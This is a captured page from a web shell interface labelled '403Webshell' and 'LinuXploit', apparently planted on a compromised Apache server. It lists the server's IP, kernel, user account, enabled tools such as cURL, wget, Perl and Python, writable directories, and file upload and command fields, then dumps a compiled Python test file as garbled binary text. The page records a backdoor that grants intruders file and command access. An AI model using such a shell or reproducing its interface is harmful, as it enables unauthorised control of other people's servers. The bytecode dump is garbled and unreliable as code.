403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_dummy_threading.cpython-36.opt-2.pyc
3

�
�^��@sJddlmZddlZddlZddlZGdd�dej�ZedkrFej	�dS)�)�supportNc@s.eZdZGdd�dej�Zdd�Zdd�ZdS)�DummyThreadingTestCasec@seZdZdd�ZdS)z!DummyThreadingTestCase.TestThreadcCs�d}tjrtd|jd|d�tj�tj�td7atjrDttd�tj�t	j
|�tjrjtd|jd�tj�td8atjr�t|jdtd�tj�tj�dS)	NrZtaskzwill run forZsec�ztasks are running�donezis finished.)r�verbose�print�name�sema�acquire�mutex�running�release�timeZsleep)�selfZdelay�r�9/opt/alt/python36/lib64/python3.6/test_dummy_threading.py�run
s$

z%DummyThreadingTestCase.TestThread.runN)�__name__�
__module__�__qualname__rrrrr�
TestThreadsrcCs(d|_tjdd�atj�adag|_dS)N�
�)�valuer)�numtasks�
_threadingZBoundedSemaphorer	�RLockrr�threads)rrrr�setUp$s
zDummyThreadingTestCase.setUpcCspx6t|j�D](}|jd|d�}|jj|�|j�qWtjrFtd�x|jD]}|j	�qNWtjrltd�dS)Nz<thread %d>)rz!waiting for all tasks to completezall tasks done)
�rangerrr�append�startrrr�join)r�i�trrr�
test_tasks.sz!DummyThreadingTestCase.test_tasksN)rrrrZThreadrrr%rrrrrs
r�__main__)
ZtestrZunittestZdummy_threadingrrZTestCaserr�mainrrrr�<module>s5

Youez - 2016 - github.com/yon3zu
LinuXploit